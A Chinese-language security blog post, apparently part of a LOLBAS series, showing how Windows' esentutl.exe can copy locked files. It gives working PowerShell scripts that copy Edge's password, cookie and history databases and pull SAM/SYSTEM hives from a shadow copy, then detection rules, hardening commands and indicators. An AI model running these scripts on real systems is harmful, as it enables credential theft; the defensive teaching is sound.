631 字
3 分鐘
- views
【LOLBAS鐵人賽Day18】Esentutl.exe:濫用資料庫工具進行檔案竊取
前言
Esentutl.exe是Windows內建的ESE資料庫工具,
他的檔案複製功能可繞過檔案鎖定,
所以也常常成為攻擊者竊取資料的好工具
工具特性
- 路徑:
C:\Windows\System32\esentutl.exe - 核心參數:
/y(複製檔案)/vss(使用陰影複製) - 關鍵優勢: 可複製被鎖定的檔案白名單程式低調執行
攻擊Demo
快速測試
先測試esentutl是否正常運作:
echo test > t.txtesentutl /y t.txt /d c.txt /ocat c.txtrm t.txt,c.txt -F看到”Operation completed successfully”表示正常
Demo 1:竊取瀏覽器密碼資料庫
繞過瀏覽器鎖定,複製儲存的密碼和Cookie
$b = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default"$o = "$env:TEMP\bd"mkdir $o -F | Out-Null
ls "$b\*Data","$b\Cookies","$b\History" -EA 0 | % { esentutl /y $_.FullName /d "$o\$($_.Name).db" /o 2>$null}
Compress-Archive $o "$env:TEMP\b.zip" -Fecho "Done: $env:TEMP\b.zip"rm $o -R -F執行結果分析:
當執行時,esentutl會顯示複製進度:
Initiating COPY FILE mode...Source File: ...\Login DataCopy Progress: |----|----|----|----|Operation completed successfully技術重點:
- Login Data (約50KB):儲存的網站密碼(加密)
- Web Data (約230KB):自動填充信用卡資訊
- Cookies:認證令牌
- History:瀏覽記錄
攻擊價值:
- 這些資料庫可離線解密(如ChromePassSharpChrome)
- 包含所有儲存的認證資訊
- 可用於憑證填充攻擊
Demo 2:利用VSS竊取系統認證
配合陰影複製存取SAM資料庫
vssadmin create shadow /for=C: 2>$null$s = (vssadmin list shadows | Select-String "HarddiskVolumeShadowCopy" | Select -Last 1) -replace '.*Copy(\d+).*','$1'
if($s){ $p = "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$s" esentutl /y "$p\Windows\System32\config\SAM" /d "$env:TEMP\SAM" /o 2>$null esentutl /y "$p\Windows\System32\config\SYSTEM" /d "$env:TEMP\SYSTEM" /o 2>$null
if(Test-Path "$env:TEMP\SAM"){echo "[+] SAM extracted"} if(Test-Path "$env:TEMP\SYSTEM"){echo "[+] SYSTEM extracted"}
rm "$env:TEMP\SAM","$env:TEMP\SYSTEM" -F -EA 0}攻擊價值:
- SAM檔案:包含使用者密碼雜湊
- SYSTEM檔案:解密SAM所需金鑰
- 離線破解:可用hashcat或john破解密碼
偵測方法
監控命令列
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688} |? {$_.Message -match 'esentutl.*/y'}Sysmon規則
<RuleGroup name="Esentutl_Abuse"> <ProcessCreate onmatch="include"> <Image condition="end with">esentutl.exe</Image> <CommandLine condition="contains any">Login Data;Cookies;SAM;SYSTEM;/y</CommandLine> </ProcessCreate></RuleGroup>防禦措施
限制執行權限
icacls C:\Windows\System32\esentutl.exe /grant Administrators:(RX) /inheritance:r監控關鍵目錄
auditpol /set /subcategory:"File System" /success:enable /failure:enablewevtutil qe Security /q:"*[EventData[Data[@Name='ObjectName'] and (Data='*Login Data*' or Data='*SAM*')]]" /f:text關鍵指標 (IOCs)
命令列特徵
esentutl /y * /d *- 檔案複製模式- 路徑包含:Login DataCookiesSAMSYSTEM
異常行為
- esentutl存取瀏覽器目錄
- esentutl配合vssadmin執行
- 短時間內多次執行esentutl
檔案痕跡
- TEMP目錄出現.db檔案
- 瀏覽器資料庫副本
- SAM/SYSTEM檔案副本
總結
Esentutl危險是因為:
- 繞過檔案鎖定 - 複製使用中的檔案
- 白名單信任 - Microsoft簽章
- 低偵測率 - 很少被監控
一行竊取瀏覽器密碼:
esentutl /y "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data" /d pwd.db /o 【LOLBAS鐵人賽Day18】Esentutl.exe:濫用資料庫工具進行檔案竊取
https://owld.tw/posts/lolbas-day-18-esentutl-exe-濫用資料庫工具進行檔案竊取/